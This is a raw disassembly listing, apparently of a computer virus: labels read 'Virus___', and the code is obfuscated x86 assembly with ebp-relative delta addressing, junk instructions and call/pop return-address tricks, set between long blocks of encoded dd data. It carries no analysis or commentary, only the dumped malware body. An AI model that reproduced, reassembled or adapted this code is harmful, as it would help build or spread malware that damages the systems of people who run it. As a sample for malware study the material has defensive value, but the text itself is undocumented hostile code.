		dd 61626FD3h, 1F1BFD21h, 3817A79Bh, 74F779E6h, 53006AC6h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1404h, 0C3534300h
		dd 0F7C0E9DAh, 6AFFFFh,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 1B0424h, 50400000h, 9E9F21C3h, 8D9B3D5Ah, 6ABF6631h
		dd 0D6815056h, 378B8E5Eh, 31BE665Fh, 0FEB96072h, 8AFFFFFFh
		dd 0A58D21E7h, 6A071B17h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 5B5DC355h, 9E93604h
		dd 1C000000h, 0DDD4E703h, 0EF30223h, 11E9h, 50EA4800h
		dd 1452232Dh, 0B0A3795h, 87BEEE18h, 8D2150CCh, 71B12E9h
		dd 128E0Fh, 6E80000h, 0ED000000h, 85F8E9E4h, 39BD09FDh
		dd 5F071B16h, 17A58D8Bh, 83FC071Bh, 850F01E1h, 22h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 17C35141h, 35E98D89h
		dd 8D8B071Bh, 71B12E9h,	2175B58Bh, 9D8B071Bh, 71B0425h
		dd 0F01E183h, 585h, 5ED6BA00h, 60613E63h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 1Dh, 0F3C35040h, 5B24E14Dh
		dd 3EF53EADh, 0A1BD8B8Dh, 8A071B33h, 3870FD7h, 66000000h
		dd 0FEB9F18Bh, 29FFFFFFh, 1B1ACD9Dh, 0B9958B07h, 21071B2Ch
		dd 1B2D958Dh, 0E5850B07h, 21071B35h, 1B25B98Dh,	57006A07h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 0CA81661Ch, 0BB664824h, 8D8B8018h, 71B2D95h,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 9EC35545h, 4EB8CDF1h
		dd 6953755Ch, 6800Fh, 85030000h, 71B228Dh, 83F88B66h, 850F01E1h
		dd 42h,	0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h
		dd 8BC35646h, 0E78132D7h, 6E80C62Fh, 10E850h, 981E0000h
		dd 0DC8E93BDh, 8A30F667h, 273F43CDh, 870FABDAh,	0
; ---------------------------------------------------------------------------
		pop	ebx
		pop	edx
		mov	ecx, [ebp+71B25B9h]
		mov	esi, edx
		adc	al, 0ACh
		and	ecx, 1
		jnz	loc_57CC33
		adc	si, 0AD61h


loc_57CC33:				; CODE XREF: Virus___:0057CC28j
		popa
		pusha
		mov	edx, [ebp+71B116Dh]
		mov	ecx, 0FFFFFFFEh
		mov	ebx, 8CB3AACh
		and	[ebp+71B2B21h],	ecx
		push	0
		push	ebx
		call	sub_57CC56
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57CC56	proc near		; CODE XREF: Virus___:0057CC4Ep

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ah
		inc	ebx
		push	ebx
		retn
sub_57CC56	endp

; ---------------------------------------------------------------------------
		dw 5D93h
		dd 4DF57707h, 918D21C3h, 6A071B0Ah, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 19042444h, 40000000h, 78F7C350h
		dd 0D1CC3621h, 6E9h, 8A2A2800h,	8B2926DFh, 1B2B218Dh, 0DE907h
		dd 1D7B0000h, 0ECBACA46h, 0E37E4B89h, 89C0F5E0h, 1B2EE9BDh
		dd 1E18307h, 25850Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 170424h, 51410000h, 0F94A75C3h, 4D9589BCh
		dd 8B071B0Dh, 1B0A918Dh, 50006A07h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1804h, 0C3504000h, 0A425CCEAh, 0E810FCEh
		dd 60000000h, 1435BD0Bh, 8F0F071Bh, 0
; ---------------------------------------------------------------------------
		popa
		and	ecx, 1
		jnz	loc_57CD36
		push	eax
		mov	esi, [ebp+71B21E1h]
		pop	edi


loc_57CD36:				; CODE XREF: Virus___:0057CD28j
		popa
		pusha
		push	0
		push	edi
		call	sub_57CD43
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57CD43	proc near		; CODE XREF: Virus___:0057CD3Bp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ah
		inc	edi
		push	edi
		retn
sub_57CD43	endp

; ---------------------------------------------------------------------------
		db 0E3h
		dd 0A3CA39EAh, 0F5BA3837h, 895A0837h, 1B0BC185h, 0FFFEB907h
		dd 6AFFFFh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
		dd 56460000h, 0A0BD7FC3h, 7D81ABE7h, 0DE8h, 682A1600h
		dd 0C362B174h, 8908325Bh, 9529B69Fh, 71B2841h, 0D58D215Eh
		dd 6A071B32h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 2ECEC357h, 28A59503h, 8D89071Bh
		dd 71B28A1h, 0A698D21h,	6A071Bh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 140424h, 56460000h, 958B96C3h, 71B2169h
		dd 2BD98509h, 8D8B071Bh, 71B32D5h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 0B7C35747h,	0E12DAEBEh, 8B0FD404h
		dd 6, 20C9958Bh, 0E183071Bh, 0C850F01h,	89000000h, 1B26359Dh
		dd 718D3107h, 8B071B32h, 1B0A698Dh, 68F0F07h, 8B000000h
		dd 1B2751B5h, 1E18307h,	2B850Fh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 170424h, 56460000h, 903125C3h
		dd 6800F12h, 29000000h,	1B2BAD95h, 6A606107h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 0BE17C355h, 5645C8D9h, 2BFD85C7h, 7D0071Bh, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 297754C3h, 1B33098Dh, 0A9B58907h, 61071B2Eh,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0B3C35343h, 0AA32F49h
		dd 7EB160Fh, 0E99D61h, 6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 0ABDBC350h
		dd 2FDB58Bh, 6A071Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 160424h, 57470000h, 3F6118C3h, 75E9C18Bh, 60000000h
		dd 0A8D88C66h, 35840F04h, 6A000000h, 5DB5FF01h,	8D071B22h
		dd 1E7E7A85h, 89D0FF07h, 1B2CE185h, 0C1FE8B07h,	680CEFh
		dd 6A200400h, 57026A00h, 1000D68h, 0E195FF00h, 0E9071B2Ch
		dd 32h,	1C0585C6h, 6856071Bh, 0A9C530DFh, 2E11B5FFh, 858D071Bh
		dd 71E7E7Ah, 8589D0FFh,	71B0059h, 1E95858Dh, 6A50071Bh
		dd 56056A20h, 5995FFh, 0C361071Bh, 6006E0C1h, 6AC08Bh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 5C01CAC3h, 668D0D56h, 83A443BEh, 1B1BD1BDh, 9750007h
		dd 1FD5BD83h, 7400071Bh, 8B535019h, 438B8C0h, 85890000h
		dd 71B2A61h, 0ABB89D8Dh, 0D3FF071Dh, 0BD83585Bh, 71B1FD5h
		dd 50177400h, 438B853h,	85890000h, 71B2A61h, 0A8A79D8Dh
		dd 0D3FF071Dh, 6A585Bh,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 8BAB4DC3h, 1B00858Dh, 57006A07h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 8BBAAD9Fh, 1B34E5BDh, 6AC08B07h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 0B4DCC353h
		dd 11E98C4Dh, 0AB000000h, 0DC6B4BC4h, 5A595D2h,	0CC1ED797h
		dd 0AEA485B9h, 3319D89h, 0BD8B071Bh, 71B1489h, 931E8h
		dd 7E900h, 42B50000h, 0F3E4BF2Ch, 358589A8h, 6A071B22h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 16042444h
		dd 40000000h, 0B254C350h, 8FCE869h, 0B9660000h,	7E92635h
		dd 76000000h, 4A27EF47h, 8589D9B3h, 71B05A1h, 8E1E8h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 0A03881ECh, 0F68D9E48h, 8589F53Eh, 71B24E1h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 9AC35040h, 8A266E4Eh
		dd 819F5E63h, 3E9CC1DEh, 888E876h, 0BE80000h, 0B8000000h
		dd 0BFF95F61h, 0E1D7D06Bh, 8D8B3ACEh, 71B1BB1h,	0FD858959h
		dd 0B071B0Ch, 1B00ED8Dh, 0DE907h, 716A0000h, 4733C637h
		dd 63FC1642h, 0E80EEEA8h, 84Eh,	0B5BD89h, 0F08B071Bh, 2FC58589h
		dd 6A071Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 0CFE8E2C3h, 0E80379CAh, 81Ah, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0F1C35747h, 0C88B66AEh
		dd 26058589h, 6A071Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 0E9D7D9C3h, 0Bh,	199FD24Eh, 1142F860h
		dd 0E8F66362h, 7C2h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 17h, 51C35040h, 896D1782h,	1B258985h, 0CE96007h
		dd 0FD000000h, 3473DED1h, 932CF6BBh, 0F09A26Fh,	1780h
		dd 12E900h, 3AC0000h, 0DD70CEF7h, 17DC1EE7h, 2732A817h
		dd 0DFF1A057h, 768E861h, 6E80000h, 0F2000000h, 0EC499EACh
		dd 9E946h, 0AC820000h, 570C5FCEh, 599AF7EFh, 2E858589h
		dd 6A071Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 814545C3h, 701E6EE6h, 720E830h, 8D8B0000h
		dd 71B2D25h, 0A1D8589h,	6A071Bh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 140424h, 55450000h, 0F3E892C3h, 8B000006h
		dd 1B03118Dh, 31858907h, 6A071B14h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 0A32C353h
		dd 9D8955B8h, 71B0C09h,	6BDE8h,	51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 0D8FCE5DAh
		dd 0DC2A4253h, 0E580FEE3h, 0D858919h, 6A071B0Ah, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
		dd 52E7C353h, 0CD1B58Bh, 67E8071Bh, 0F000006h, 8589F7B7h
		dd 71B09EDh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 15h,	0A5C35646h, 0AF1FBFD5h,	0BE6625BFh, 33E82085h
		dd 6A000006h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 24EDC351h, 85D0A927h, 6518589h
		dd 6A071Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
		dd 52420000h, 0B38893C3h, 0CE997h, 4F200000h, 0F14443E4h
		dd 23061DBBh, 0BD0B3E1Dh, 71B2941h, 5D1E8h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 0B0387165h, 897B182Eh, 1B2DE185h, 50006A07h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 4731F214h
		dd 869A29E0h, 2E0D9589h, 0BD89071Bh, 71B21CDh, 18B59D89h
		dd 6FE8071Bh, 89000005h, 1B11BD95h, 0E9858907h,	6A071B18h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 844AC357h, 0E53AFBF1h, 68E0F1Ch, 8B000000h
		dd 1B17818Dh, 0E497B907h, 2BE8064Eh, 6A000005h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
		dd 2A71C356h, 0BC72F6E9h, 8589C654h, 71B33E5h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 2BC35141h, 84E00C7Ah
		dd 6A00B0h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
		dd 53430000h, 293A3BC3h, 1B329DB5h, 0D8B60F07h,	0E855006Ah
		dd 3
		dd 5DC35D20h, 4246C89h,	4244481h, 15h, 0F5C35545h, 0BD8B52D9h
		dd 71B2BB9h, 6BA59h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 140424h, 55450000h, 6E98EC3h, 25000000h
		dd 0FEFD82C7h, 0F7816673h, 0C38BAD08h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 0AC35646h, 0E9CEAE81h, 8B047E32h
		dd 1B2E818Dh, 4E8C107h,	24A58D8Bh, 0F766071Bh, 52006AE2h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1404h, 0C3524200h
		dd 0A9B501F2h, 2B071B0Bh, 57006AD8h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 1C89506Dh
		dd 55006A24h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1C04h
		dd 0C3554500h, 0F562BB50h, 6383794Ah, 995FFE1h,	6A071B2Ah
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 2DA0C356h, 0BE632AB3h, 0C860Fh, 7E90000h
		dd 0A9000000h, 853EBDC5h, 6A5BB1E3h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 0CBE6C355h
		dd 0DEDFF242h, 0C88B6631h, 1519958Dh, 6A071Bh, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 5889DBC3h, 6A1A89A7h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 2CACC352h, 0C53B7881h
		dd 0E809B6E7h, 0Fh, 0E81B585Dh,	88268C4Eh, 9E1DC3CCh, 59AACFC8h
		dd 6A044289h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 7CB6C356h, 0EA802F50h,	8973CE58h
		dd 1B305195h, 7261BE07h, 958D61FBh, 71B2619h, 2D358D89h
		dd 1A89071Bh, 12118D8Bh, 4289071Bh, 56006A04h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 964442DDh
		dd 8997E74Ch, 9E9CA3Ch,	34000000h, 0C89CBADAh, 0E634F08Dh
		dd 2835958Dh, 9D89071Bh, 71B2E19h, 6A1A89h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 140424h, 51410000h, 816691C3h
		dd 89001CC6h, 0BD2B0442h, 71B259Dh, 2D49958Dh, 6A071Bh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 8D8B33C3h, 71B2F49h,	6A1A89h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 428910C3h, 5FF85004h
		dd 1885958Dh, 6A071Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 190424h, 56460000h, 9E35F8C3h, 0FC809610h, 38A0Fh, 8B660000h
		dd 0E91A89CAh, 14h, 0BE5DC8CCh,	0D697CEF4h, 9AAE9575h
		dd 0C04D20C5h, 496F0043h, 8B044289h, 1B1221BDh,	29958D07h
		dd 23071B0Eh, 1B18F98Dh, 6A1A8907h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 0E8F9C356h
		dd 0CAD46E0Ch, 0AD9589F0h, 89071B1Eh, 6A0442h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 0F368FFC3h, 236030ECh, 1B1525BDh, 19958907h,	61071B30h
		dd 958D1FB5h, 71B09C9h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 18h, 28C35141h, 9094953Bh,	1F919D89h, 7E9071Bh
		dd 86000000h, 93D69D08h, 1A899A79h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Dh, 0ABC35545h,	8E9666EDh, 0CBF3D589h
		dd 0DE919h, 83030000h, 78BB96ADh, 0F3B81825h, 81B9943Ch
		dd 0AF0CF5C9h, 4428931h, 6870F60h, 8B000000h, 1B291D95h
		dd 6840F07h, 29000000h,	1B066995h, 85896107h, 71B04E5h
		dd 5CD958Dh, 6A071Bh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1B0424h, 50400000h, 75ADB0C3h, 40C57A9Ah, 0BE9B9h, 455A0000h
		dd 0DE55DD3Eh, 8C1C9FAFh, 21B58BACh, 89071B2Fh,	55006A1Ah
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1D04h, 0C3554500h
		dd 0E3B2D69Ah, 0FCAA9DF4h, 0B529EB37h, 71B0E01h, 0E9044289h
		dd 0Ch,	5DF8D12Fh, 4EE912AEh, 0DE6E3643h, 23D19589h, 0C0E9071Bh
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 15042444h, 46000000h, 0D1C0C356h, 31B1BD89h,	6A071Bh
		dd 0D830Fh, 5E80000h, 8000000h,	0DD8D0FC7h, 6A596160h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1C04h
		dd 0C3564600h, 5030FCFDh, 0C39D4F3h, 0A4CE8169h, 8902A23Eh
		dd 1B21D58Dh, 8B006A07h, 1B26E1BDh, 66006A07h, 944FC981h
		dd 163D95FFh, 6A071Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 180424h, 53430000h, 63B7ADC3h, 0BF0FD9B5h, 6AC3F2h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 8A440DC3h, 50006AC5h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1904h, 0C3504000h, 33FF6967h, 0B4B188AEh, 6AC08Bh, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 0E76833C3h, 81C3A563h, 576F22E6h, 0D1BD835Eh, 71B1Bh
		dd 0BD830975h, 71B1FD5h, 50197400h, 0B8C08B53h,	438h, 13118589h
		dd 9D8D071Bh, 71DAC1Fh,	585BD3FFh, 1FD5BD83h, 7400071Bh
		dd 0B8535017h, 438h, 13118589h,	9D8D071Bh, 71DA8C0h, 585BD3FFh
		dd 11818D8Bh, 6A071Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 170424h, 52420000h, 909F53C3h, 6E910h, 0EE080000h, 802C9DAEh
		dd 858DC08Bh, 71B1255h,	22F1BD01h, 5090071Bh, 0E9905B50h
		dd 0Ah,	0E39300F7h, 7081F4E7h, 6ADCB6h,	0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 16h, 0F2C35343h, 0DE800D9h
		dd 0F5000000h, 0B84DA818h, 0A54313CEh, 162391E3h, 6A5BF98Bh
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1804h
		dd 0C3514100h, 99679504h, 8DFB8B0Ah, 1F2BF985h,	51006A07h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 0C0836B48h, 0BA605005h, 2AF7D2A4h, 30681EBBh, 4896141h
		dd 50006A24h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1C04h
		dd 0C3504000h, 0F59B0551h, 54BAE289h, 0DF8166D4h, 0FE9F20Eh
		dd 67000000h, 62EC2544h, 4756C630h, 2C013A8Fh, 6A6384h
		dd 14A5BD89h, 6A071Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ch, 3FC35646h, 53C1D1B6h,	771AC9B5h, 2411BD8Bh
		dd 95FF071Bh, 71B1EA9h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Bh, 0B8C35040h, 0A33DF268h, 8D50FFD0h, 1E979C8Dh
		dd 7EE38107h, 0FF78766Fh, 2810FD1h, 8A000000h, 5BD83DCh
		dd 1071B21h, 89850Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 599DDDC3h, 6ACF886Fh
		dd 14E9h, 0A3121800h, 2EBAFC7Fh, 880E05C2h, 3D2F03A4h
		dd 5DAC87DEh, 0F026A7Ah, 6690FEBFh, 0E950D98Bh,	0Ah, 0B04D103Bh
		dd 0CEBA1C6Dh, 669039BDh, 0FFA90FBFh, 1B09DD95h, 56006A07h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 830CEB1Dh, 58D2B144h, 8B0F26h, 0E9000000h, 0DCBh, 0E8h
		dd 0ED815D00h, 71F2C03h, 8BFFB70Fh, 1B25719Dh, 2858D07h
		dd 90071E92h, 9050D98Bh, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 1Dh, 0D2C35343h, 2B362662h, 599BA930h, 0DE84Dh
		dd 62BA0000h, 0D42B8AFEh, 0F11EC2B1h, 0E9D5874Dh, 0Eh
		dd 0A19E14ADh, 1729176Eh, 87DD507Ah, 645F3FA5h,	35FFh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
		dd 57470000h, 0B00EFDC3h, 14447824h, 8964CC97h,	25h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 0B2FCB720h, 0B491BAA1h, 85FF9CE0h, 71B264Dh,	0DE9h
		dd 0B262A600h, 61AEAA97h, 0A4C797F5h, 0FF6A9D60h, 2E0DBD0Bh
		dd 0B5FF071Bh, 71B2235h, 30FD77BBh, 68C0F6Fh, 8B000000h
		dd 1B1315BDh, 4595FF07h, 0E9071B2Fh, 14Ch, 2401B589h, 0B0071Bh
		dd 5E56D4BFh, 2B70E602h, 1B09BDBDh, 8971E407h, 1B34A1B5h
		dd 0F613C07h, 12783h, 7E900h, 0E4BC0000h, 0B075231Eh, 0C8B60F25h
		dd 0FE9h, 42F9400h, 3744698Ah, 7342D2A3h, 6FEF9FF8h, 6BAh
		dd 58D8900h, 8B071B2Eh,	9B531C1h, 0C1071B28h, 0E85104E8h
		dd 8, 5A382B7Eh, 621C7517h, 2F959589h, 5F5F071Bh, 31E2F766h
		dd 1B33098Dh, 0FC82B07h, 0D781DABFh, 2253B62Eh,	0BD8BD18Bh
		dd 71B1B75h, 28699D8Bh,	1CE9071Bh, 60000000h, 0E9DE8B66h
		dd 12h,	6335C7DEh, 0F44E80B3h, 431738DEh, 644E7089h, 8B61BF66h
		dd 1B151985h, 3FE78107h, 83317F26h, 7E907C0h, 0EA000000h
		dd 4C9D8E62h, 0BD8BFDB4h, 71B28E1h, 0F800C083h,	830FD03Bh
		dd 31h,	959D2960h, 0E8071B08h, 0Ah, 0C4C50617h,	0F4F167BDh
		dd 0C981813Bh, 56F6C9FCh, 45E96159h, 0E9000000h, 9, 35F156F8h
		dd 0E1E08F6Dh, 0D58D8B81h, 89071B32h, 1B0C09BDh, 1E18307h
		dd 22840Fh, 0BD890000h,	71B1259h, 32D5A583h, 66FE071Bh
		dd 8938ACBFh, 1B151995h, 0B59D8B07h, 0E9071B28h, 0
; ---------------------------------------------------------------------------
		lea	esi, [ebp+71EC2CBh]
		mov	[ebp+71B1681h],	ebx
		push	0
		push	0
		push	esi
		call	sub_57DFD1
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57DFD1	proc near		; CODE XREF: Virus___:0057DFC9p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 15h
		inc	esi
		push	esi
		retn
sub_57DFD1	endp

; ---------------------------------------------------------------------------
		db 5Bh,	7Ah, 89h
; ---------------------------------------------------------------------------
		xchg	eax, ebp
		or	eax, 0FF071B2Ch
		xchg	eax, ebp
		mov	[edx], edx
		sbb	eax, [edi]
		push	0
		push	ebx
		call	sub_57DFFA
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57DFFA	proc near		; CODE XREF: Virus___:0057DFF2p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Bh
		inc	ebx
		push	ebx
		retn
sub_57DFFA	endp

; ---------------------------------------------------------------------------
		mov	eax, ds:829D9C85h
		imul	esi, ds:844B9AFh, 0
		add	[edx+0], ch
		push	ebx
		call	sub_57E022
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57E022	proc near		; CODE XREF: Virus___:0057E01Ap

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 15h
		inc	ebx
		push	ebx
		retn
sub_57E022	endp

; ---------------------------------------------------------------------------
		retf	896Dh
; ---------------------------------------------------------------------------
		mov	ebp, 71B3471h
		mov	di, bx
		and	ecx, 0FFFFFFFCh
		push	0
		push	ecx
		call	sub_57E04B
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57E04B	proc near		; CODE XREF: Virus___:0057E043p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 18h
		inc	ecx
		push	ecx
		retn
sub_57E04B	endp

; ---------------------------------------------------------------------------
		db 92h
		dd 38D464E4h, 2840Fh, 31B30000h, 56006AFCh, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 893046F3h
		dd 1B08C185h, 8D9D8B07h, 2B071B35h, 56006AC0h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 0CC72E633h
		dd 8F0FB44Dh, 2, 0D22BFA8Bh, 0C233ADF8h, 0D003E8D1h, 7504E983h
		dd 50006AF4h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1A04h
		dd 0C3504000h, 72A17A3Eh, 0F8C9BBCDh, 880Dh, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1804h, 0C3504000h
		dd 31D20030h, 16DB80A7h, 29B5958Bh, 6A071Bh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 150424h, 51410000h, 0B7EEE8C3h
		dd 559D8B02h, 8B071B23h, 1B02F58Dh, 6E807h, 0AA030000h
		dd 4EF5CE62h, 12019D29h, 505F071Bh, 188BC28Bh, 188BC103h
		dd 0E8D1C18Bh, 188BC203h, 0E1BD3358h, 8B071B30h, 1B23E5BDh
		dd 51006A07h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1804h
		dd 0C3514100h, 52B4FB7Bh, 1DB5296Fh, 83071B23h,	1B2165BDh
		dd 840F0007h, 6Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 17h, 0AAC35747h, 6673ADCEh, 0F6650BBh, 18Dh
		dd 0B8F500h, 8B000000h,	1B2439BDh, 898D8D07h, 6A071B4Fh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 53DBC351h, 7290D177h, 28E0Fh, 0FB8B0000h
		dd 0E7BFE1FFh, 8372BCF3h, 1B18CDBDh, 840F0007h,	3EAh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 16C35141h, 0CDBD8343h
		dd 1071B18h, 3DB840Fh, 3DBF0000h, 8363AD23h, 1B18CDBDh
		dd 860F0307h, 393h, 14A19D8Bh, 8B60071Bh, 31C381F8h, 6646B916h
		dd 6AD98Ch, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 9C916C3h,	1B35F9BDh, 4E18007h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0E2C35646h, 8B0B3B56h
		dd 0E9626808h, 6, 83CF7711h, 0C90AFE99h, 10B840Fh, 0B5890000h
		dd 71B05D5h, 30E5858Bh,	6A071Bh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 8533A4C3h, 71B3055h
		dd 15219D29h, 9D8B071Bh, 71B2E91h, 8B665090h, 8B6090FBh
		dd 1B30BD85h, 31958907h, 61071B09h, 4768006Ah, 0F7FCE1Bh
		dd 48Bh, 0FABB6600h, 243481FCh,	7FD118B8h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 64C35040h, 9E4910B7h
		dd 858B605Ch, 71B22D5h,	0E995FF61h, 0F071B04h, 1287h, 0DE900h
		dd 0A1510000h, 5841E9Fh, 73223E50h, 667390D8h, 3B40C381h
		dd 0ABC88589h, 6A071Eh,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 1B0424h, 53430000h, 4BFE85C3h, 1A3CB9F5h, 1B5E96Ch
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h
		dd 56460000h, 0E7BBF3C3h, 7A36679Ch, 897A1469h,	1B17918Dh
